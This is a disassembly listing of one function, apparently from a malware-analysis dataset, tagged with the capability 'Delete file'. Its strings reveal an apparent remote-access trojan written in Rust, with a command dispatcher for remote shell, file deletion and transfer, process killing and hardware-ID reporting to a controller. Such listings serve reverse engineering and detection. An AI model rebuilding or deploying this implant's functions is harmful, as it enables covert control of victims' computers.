Function at 0x140025133
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2e48
call fcn.1401178d0
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x2db0], xmm9
movdqa xmmword [rbp + 0x2da0], xmm8
movdqa xmmword [rbp + 0x2d90], xmm7
movdqa xmmword [rbp + 0x2d80], xmm6
mov qword [rbp + 0x2d78], 0xfffffffffffffffe
mov rdx, qword [rcx]
mov qword [rbp + 0x2d20], rcx
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0x2d47], 1
lea rcx, [rbp + 0x10]
call case.0x140058029.351
mov al, byte [rbp + 0x10]
cmp al, 0xa
je 0x14002cb15
mov ecx, dword [rbp + 0x11]
mov edx, dword [rbp + 0x14]
mov dword [rbp + 0x2083], edx
mov dword [rbp + 0x2080], ecx
mov rsi, qword [rbp + 0x18]
movups xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
cmp al, 8
jne 0x14002cb4e
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2400], xmm0
mov qword [rbp + 0x2ba0], rsi
movdqu xmmword [rbp + 0x2ba8], xmm0
mov byte [rbp + 0x2ce7], 1
lea rcx, [rbp + 0x10]
call fcn.1400b5927
mov byte [rbp + 0x2ce7], 1
lea rcx, [rbp + 0x10]
call fcn.14000f98d
lea rcx, [0x14016ad40]
lea r8, [rbp + 0x2c30]
mov qword [r8 - 0x20], rcx
pxor xmm6, xmm6
and qword [r8 - 8], 0
movdqu xmmword [r8 - 0x18], xmm6
mov qword [r8], rax
mov qword [r8 + 8], rdx
mov rcx, qword [rbp + 0x2ba8]
imul rax, qword [rbp + 0x2bb0], 0x50
add rax, rsi
mov qword [rbp + 0x2a70], rsi
mov qword [rbp + 0x2a78], rcx
mov qword [rbp + 0x2a80], rsi
mov qword [rbp + 0x2a88], rax
lea rdi, [rbp + 0x2080]
push 0x4f
pop r15
lea r14, [rbp + 0x2400]
pcmpeqd xmm7, xmm7
cmp rsi, rax
je 0x14002570d
lea rax, [rsi + 0x50]
mov qword [rbp + 0x2a80], rax
mov bl, byte [rsi]
inc rsi
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call sub.msvcrt.dll_memcpy
cmp bl, 0xa
je 0x14002570d
mov byte [rbp + 0x2400], bl
lea rcx, [rbp + 0x2401]
mov rdx, rdi
mov r8, r15
call sub.msvcrt.dll_memcpy
mov qword [rbp + 0x40], 0x20
mov byte [rbp + 0x48], 3
and qword [rbp + 0x10], 0
and qword [rbp + 0x20], 0
mov qword [rbp + 0x26e0], 1
lea rax, [rbp + 0x26e8]
movdqu xmmword [rax], xmm6
lea rax, [rbp + 0x26e0]
mov qword [rbp + 0x30], rax
lea rax, case.0x140097e0c.477
mov qword [rbp + 0x38], rax
mov rcx, r14
lea rdx, [rbp + 0x10]
call fcn.140075fb9
mov ecx, eax
call fcn.14000fa48
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2b30], rax
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2b20], xmm0
mov rsi, qword [rbp + 0x2b20]
lea r8, [rsi + rax]
xor ecx, ecx
cmp rcx, rax
je 0x1400253f1
mov rdx, rcx
add rcx, rsi
mov bl, byte [rcx]
movzx r9d, bl
test r9b, r9b
js 0x140025365
inc rcx
jmp 0x1400253d9
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1400253bb
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x1400253cb
movzx r9d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x140025676
add rcx, 4
jmp 0x1400253d9
add rcx, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
jmp 0x1400253d9
add rcx, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
add rcx, rax
sub rcx, r8
mov rdi, rdx
mov rdx, rcx
cmp r9d, 0x22
je 0x140025346
jmp 0x1400253f8
xor edi, edi
xor ecx, ecx
mov rdx, rax
cmp rdx, rax
je 0x14002548d
mov r13, rax
add rax, rsi
mov r8b, byte [rax - 1]
test r8b, r8b
js 0x140025419
dec rax
movzx r8d, r8b
jmp 0x14002547e
movzx r9d, byte [rax - 2]
cmp r9b, 0xc0
jge 0x140025449
movzx r10d, byte [rax - 3]
cmp r10b, 0xc0
jge 0x140025453
movzx r11d, byte [rax - 4]
add rax, 0xfffffffffffffffc
and r11d, 7
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
jmp 0x14002545b
add rax, 0xfffffffffffffffe
and r9d, 0x1f
jmp 0x140025466
add rax, 0xfffffffffffffffd
and r10d, 0xf
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
shl r9d, 6
and r8b, 0x3f
movzx r8d, r8b
or r8d, r9d
cmp r8d, 0x110000
je 0x14002548d
sub rax, rsi
cmp r8d, 0x22
je 0x1400253f8
jmp 0x140025490
mov r13, rcx
sub r13, rdi
mov byte [rbp + 0x2d09], 1
mov rcx, r13
xor edx, edx
call fcn.1400814b3
mov qword [rbp + 0x2d58], rdx
mov rbx, rax
add rsi, rdi
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.msvcrt.dll_memcpy
push 0xa
pop rcx
lea rdi, [rbp + 0x10]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp + 0x2d68], rbx
mov r8, rbx
mov r9, r13
call fcn.14004230a
mov rsi, rax
cmp qword [rbp + 0x2c20], 0
jne 0x14002550c
lea rcx, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
call fcn.140119d1b
mov rbx, qword [rbp + 0x2c10]
mov r14, qword [rbp + 0x2c18]
mov rdi, r14
and rdi, rsi
shr rsi, 0x39
mov qword [rbp + 0x2d48], rsi
movd xmm0, esi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm8, xmm0, 0
xor esi, esi
xor r15d, r15d
movdqu xmm9, xmmword [rbx + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm9
pmovmskb eax, xmm0
mov word [rbp + 0x26e0], ax
lea rcx, [rbp + 0x26e0]
call fcn.140015047
test rax, rax
je 0x14002559b
add rdx, rdi
and rdx, r14
neg rdx
imul r12, rdx, 0x68
mov r8, qword [rbx + r12 - 0x68]
mov r9, qword [rbx + r12 - 0x58]
mov rcx, qword [rbp + 0x2d68]
mov rdx, r13
call fcn.14004253c
test al, al
je 0x14002555e
jmp 0x1400255e8
cmp r15, 1
push 1
pop r15
je 0x1400255c3
movdqa xmmword [rbp], xmm9
mov rcx, r14
mov rdx, rbp
mov r8, rdi
call fcn.140062a7c
mov r15, rax
mov qword [rbp + 0x2d38], rdx
pcmpeqb xmm9, xmm7
pmovmskb eax, xmm9
test eax, eax
jne 0x14002567f
add rdi, rsi
add rdi, 0x10
add rsi, 0x10
and rdi, r14
jmp 0x140025543
add rbx, r12
add rbx, 0xffffffffffffffb0
push 0xa
pop rax
mov rcx, rax
lea rdi, [rbp + 0x26e0]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
mov rdi, rbx
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.14000e02a
cmp byte [rbp + 0x26e0], 0xa
lea rdi, [rbp + 0x2080]
lea r14, [rbp + 0x2400]
push 0x4f
pop r15
je 0x140025650
mov byte [rbp + 0x2d09], 0
lea rcx, [rbp + 0x26e0]
call fcn.14000dfc4
mov rcx, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
call fcn.140047b8c
mov rsi, qword [rbp + 0x2a80]
mov rax, qword [rbp + 0x2a88]
jmp 0x14002527e
xor edi, edi
xor ecx, ecx
jmp 0x1400253f8
mov rdx, qword [rbp + 0x2d38]
mov al, byte [rbx + rdx]
test al, al
js 0x14002569b
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
bsf edx, eax
mov al, byte [rbx + rdx]
and al, 1
movzx eax, al
sub qword [rbp + 0x2c20], rax
lea rax, [rdx - 0x10]
and rax, r14
mov rcx, qword [rbp + 0x2d48]
mov byte [rbx + rdx], cl
mov byte [rax + rbx + 0x10], cl
inc qword [rbp + 0x2c28]
neg rdx
imul rax, rdx, 0x68
lea rdi, [rbx + rax]
add rdi, 0xffffffffffffffb0
mov rax, qword [rbp + 0x2d68]
mov qword [rdi - 0x18], rax
mov rax, qword [rbp + 0x2d58]
mov qword [rdi - 0x10], rax
mov qword [rdi - 8], r13
push 0xa
pop rcx
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
lea rdi, [rbp + 0x2080]
lea r14, [rbp + 0x2400]
push 0x4f
pop r15
jmp 0x140025650
lea r15, [rbp + 0x2a70]
mov rcx, r15
call fcn.140042e6b
movdqu xmm0, xmmword [rbp + 0x2c10]
movdqu xmm1, xmmword [rbp + 0x2c20]
movups xmm2, xmmword [rbp + 0x2c30]
lea rcx, [rbp + 0x23b0]
movdqa xmmword [rcx], xmm0
movdqa xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx + 0x20], xmm2
lea rdx, [0x140121a00]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d08], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d08], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
lea r12, [rbp + 0x39]
mov al, byte [r12 - 1]
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [r12 + 0xf]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x1400257cb
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002580c
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2ca0]
call fcn.14000fd59
mov byte [rbp + 0x2d07], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.PacketgetDriversHWIDLet_Me_Show_You_Failed_to_send_msg:
lea rcx, [rbp + 0x23b0]
push 6
pop r13
mov r8, r13
call fcn.140007202
test rax, rax
je 0x1400258a9
mov byte [rbp + 0x2d07], 1
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x1400258b1
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400258f2
mov dil, 1
jmp 0x140026627
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
mov qword [rbp + 0x2d68], rdi
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rdi, [rbp + 0x2018]
mov rcx, rdi
call fcn.14000fd59
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rbx, qword [rbp + 0x2018]
mov r14, qword [rbp + 0x2028]
lea r8, str.shell_noishellWriteInput_noishellWriteInputgetDriverscreateFolderdeleteFolderdeleteFilerenameFilerenameFoldercopyFilepasteFileexecutefileInfogetFileInfofix_downloadget_chunkupload_chunkfilesaveprocessKilloptionCommand
push 9
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400259dd
lea rdx, str.WorkDir
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140025b2b
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140025b6c
lea r8, [0x140122761]
push 0x13
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140025a84
lea rdx, str.WriteInput
lea rcx, [rbp + 0x23b0]
push 0xa
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140025c71
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140025cb2
lea r8, str.shellsrcmodule_shell.rs_r_
push 5
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140025bca
lea rdx, str.WorkDir
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140025f9e
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140025fdf
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea rcx, [rbp + 0x2400]
call fcn.14000f88f
mov byte [rbp + 0x2cd8], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
cmp qword [rbp + 0x2410], 0
je 0x140026036
mov byte [rbp + 0x2cd8], 0
lea rcx, [rbp + 0x2400]
call fcn.140007791
lea rcx, [rbp + 0x10]
mov qword [rcx], rax
mov byte [rbp + 0x2cd8], 0
call fcn.14000ee36
jmp 0x140026049
lea r8, [0x140122774]
push 0xf
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140025d92
lea rdx, str.WriteInput
lea rcx, [rbp + 0x23b0]
push 0xa
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002653e
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002657f
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea rsi, [rbp + 0x2400]
mov rcx, rsi
call fcn.14000f88f
mov byte [rbp + 0x2cfb], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea r9, [rbp + 0x26e0]
mov qword [r9], rsi
lea rax, [0x140010290]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2cfb], 1
mov qword [rsp + 0x20], 1
lea rdx, str.cmd:
lea rcx, [rbp + 0x10]
push 2
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2cfb], 1
lea rcx, [rbp + 0x10]
call fcn.140099510
mov r11, qword [rbp + 0x2d20]
mov rax, qword [r11 + 0x40]
lea rcx, [rbp + 0x10]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [r11 + 0x30]
movdqa xmmword [rcx], xmm0
mov rdx, qword [rbp + 0x2400]
mov r8, qword [rbp + 0x2410]
mov r9, qword [rbp + 0x2ca0]
mov rax, qword [rbp + 0x2cb0]
mov r10, qword [r11 + 0x18]
mov r11, qword [r11 + 0x28]
mov byte [rbp + 0x2cfb], 0
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.140016a80
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
jmp 0x14002660d
lea r8, [0x1401219f6]
push 0xa
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
jne 0x140025dca
lea r8, [0x140122783]
push 0xb
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400266bb
mov rax, qword [rbp + 0x2d20]
lea rdx, [rax + 0x30]
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x2a50]
call fcn.140018341
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2a00]
call fcn.1400474b0
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2670]
call fcn.1400474b0
lea rcx, [rbp + 0x10]
call fcn.140011b7d
mov qword [rbp + 0x29a0], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x29a8], xmm0
lea rcx, [rbp + 0x10]
call fcn.140011b22
mov r13, qword [rbp + 0xf0]
imul rdi, qword [rbp + 0x100], 0x90
add rdi, r13
lea rsi, [rbp + 0x2080]
lea rbx, [rbp + 0x2400]
push 4
pop r14
lea r15, [rbp + 0x26e0]
lea r12, [rbp + 0x2c10]
cmp r13, rdi
je 0x140026051
mov rdx, qword [r13 + 0x60]
movzx eax, byte [r13 + 0x88]
test rax, rax
lea rcx, [0x140121a4d]
lea r8, str.FixedRemovable__
cmove rcx, r8
mov r8, qword [r13 + 0x70]
lea rax, [rax*4 + 5]
mov qword [rbp + 0x2a70], rcx
mov qword [rbp + 0x2a78], rax
mov rcx, rsi
call fcn.1400a7240
lea rax, [rbp + 0x29a0]
mov qword [rbp + 0x26e0], rax
lea rax, [0x140010290]
mov qword [rbp + 0x26e8], rax
mov qword [rbp + 0x26f0], rsi
lea rax, [0x140060ea3]
mov qword [rbp + 0x26f8], rax
lea rax, [rbp + 0x2a70]
mov qword [rbp + 0x2700], rax
lea rax, [0x14008f7a0]
mov qword [rbp + 0x2708], rax
mov qword [rsp + 0x20], 3
mov rcx, rbx
lea rdx, str.called__Option::unwrap____on_a__None__value
mov r8, r14
mov r9, r15
call fcn.14000c3a4
mov rcx, r12
mov rdx, rbx
call fcn.14000ff7c
add r13, 0x90
mov rcx, rsi
call fcn.14000e03d
movups xmm0, xmmword [rbp + 0x2c10]
movaps xmmword [rbp + 0x26e0], xmm0
mov rax, qword [rbp + 0x2c20]
mov qword [rbp + 0x26f0], rax
mov rcx, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
call fcn.140047b8c
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x29b0], rax
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x29a0], xmm0
jmp 0x140025e7b
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea rcx, [rbp + 0x2400]
call fcn.14000f88f
mov byte [rbp + 0x2cd9], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
cmp qword [rbp + 0x2410], 0
je 0x140026036
mov byte [rbp + 0x2cd9], 0
lea rcx, [rbp + 0x2400]
call fcn.140007791
lea rcx, [rbp + 0x10]
mov qword [rcx], rax
mov byte [rbp + 0x2cd9], 0
call fcn.14000ee36
jmp 0x140026049
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
mov ecx, 0x140
call fcn.14001018f
mov qword [rbp + 0x2d68], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x26e8], rax
mov qword [rbp + 0x26f0], rdx
mov qword [rbp + 0x26f8], 6
mov byte [rbp + 0x26e0], 5
push 0xa
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x6576697244746567
mov qword [rax], rcx
mov word [rax + 8], 0x7372
mov rcx, qword [rbp + 0x2700]
mov qword [rbp + 0x20a0], rcx
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movdqa xmmword [rbp + 0x2090], xmm1
movdqa xmmword [rbp + 0x2080], xmm0
mov byte [rbp + 0x20a8], 5
mov qword [rbp + 0x20b0], rax
mov qword [rbp + 0x20b8], rdx
mov qword [rbp + 0x20c0], 0xa
push 4
pop rbx
mov rcx, rbx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x26e8], rax
mov qword [rbp + 0x26f0], rdx
mov qword [rbp + 0x26f8], 4
mov byte [rbp + 0x26e0], 5
mov rdx, qword [rbp + 0x2670]
mov r8, qword [rbp + 0x2680]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x2c27], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x2c17], xmm0
movups xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x2700]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x2c10]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x2c1f]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x2c27]
mov qword [rbp + 0x2440], rax
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], rdx
mov qword [rbp + 0x2c28], 0xe
mov byte [rbp + 0x2c10], 5
mov rdx, qword [rbp + 0x2a00]
mov r8, qword [rbp + 0x2a10]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2a87], rax
movups xmm0, xmmword [rbp + 0x26e0]
movups xmmword [rbp + 0x2a77], xmm0
movups xmm0, xmmword [rbp + 0x2c10]
movdqu xmm1, xmmword [rbp + 0x2c20]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x2c30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqu xmmword [rbp + 0x2709], xmm0
mov rax, qword [rbp + 0x2a7f]
mov qword [rbp + 0x2718], rax
mov rax, qword [rbp + 0x2a87]
mov qword [rbp + 0x2720], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7265
mov dword [rax], 0x76697244
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], rdx
mov qword [rbp + 0x2c28], 6
mov byte [rbp + 0x2c10], 5
mov rdx, qword [rbp + 0x29a0]
mov r8, qword [rbp + 0x29b0]
lea rcx, [rbp + 0x2a70]
call fcn.1400474b0
mov rax, qword [rbp + 0x2a80]
mov qword [rbp + 0x2b37], rax
movups xmm0, xmmword [rbp + 0x2a70]
movups xmmword [rbp + 0x2b27], xmm0
lea rax, [rbp + 0x2c10]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x2a70], xmm0
movaps xmmword [rbp + 0x2a80], xmm1
mov rcx, qword [rax + 0x20]
mov qword [rbp + 0x2a90], rcx
movups xmm0, xmmword [rbp + 0x2b20]
movaps xmmword [rbp + 0x2ba0], xmm0
mov rcx, qword [rbp + 0x2b2f]
mov qword [rbp + 0x2baf], rcx
mov rcx, qword [rbp + 0x2b37]
mov qword [rbp + 0x2bb7], rcx
push 0xa
pop rdx
lea rsi, [rbp + 0x2080]
mov rcx, rdx
mov r9, qword [rbp + 0x2d68]
mov rdi, r9
rep movsq qword [rdi], qword [rsi]
lea rdi, [r9 + 0x50]
lea r8, [rbp + 0x2400]
mov rcx, rdx
mov rsi, r8
rep movsq qword [rdi], qword [rsi]
mov rdi, r9
add rdi, 0xa0
lea rsi, [rbp + 0x26e0]
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbp + 0x2a90]
mov qword [r9 + 0x110], rcx
movaps xmm0, xmmword [rbp + 0x2a70]
movdqa xmm1, xmmword [rbp + 0x2a80]
movdqu xmmword [r9 + 0x100], xmm1
movups xmmword [r9 + 0xf0], xmm0
mov byte [r9 + 0x118], 5
movups xmm0, xmmword [rbp + 0x2baf]
movups xmmword [r9 + 0x128], xmm0
movdqa xmm0, xmmword [rbp + 0x2ba0]
movdqu xmmword [r9 + 0x119], xmm0
mov qword [r8 + 8], r9
mov qword [r8 + 0x10], rbx
mov qword [r8 + 0x18], rbx
mov byte [r8], 8
lea rdx, [rbp + 0x2400]
mov rcx, rax
call fcn.140077c9a
mov rdx, qword [rbp + 0x2c10]
mov r8, qword [rbp + 0x2c20]
lea rcx, [rbp + 0x2080]
mov qword [rbp + 0x2d68], rdx
call fcn.14001545f
lea rcx, [rbp + 0x2a50]
call fcn.1400182d8
mov rsi, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2090]
lea rcx, [rbp + 0x2a50]
mov rdx, rsi
call fcn.1400181b0
test rax, rax
je 0x1400264c2
lea rcx, [rbp + 0x2b20]
mov qword [rcx], rax
lea r9, [rbp + 0x2a70]
mov qword [r9], rcx
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140121a28]
lea rcx, [rbp + 0x26e0]
push 2
pop r8
call fcn.14000c3a4
lea rcx, [rbp + 0x26e0]
call fcn.140099510
lea rcx, [rbp + 0x2b20]
call fcn.14000d499
mov rdx, qword [rbp + 0x2088]
mov rcx, rsi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2c18]
mov rcx, qword [rbp + 0x2d68]
call fcn.140047b8c
lea rcx, [rbp + 0x2400]
call fcn.14000de3b
mov rcx, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
call fcn.140047b8c
lea rcx, [rbp + 0x10]
call fcn.14000e23b
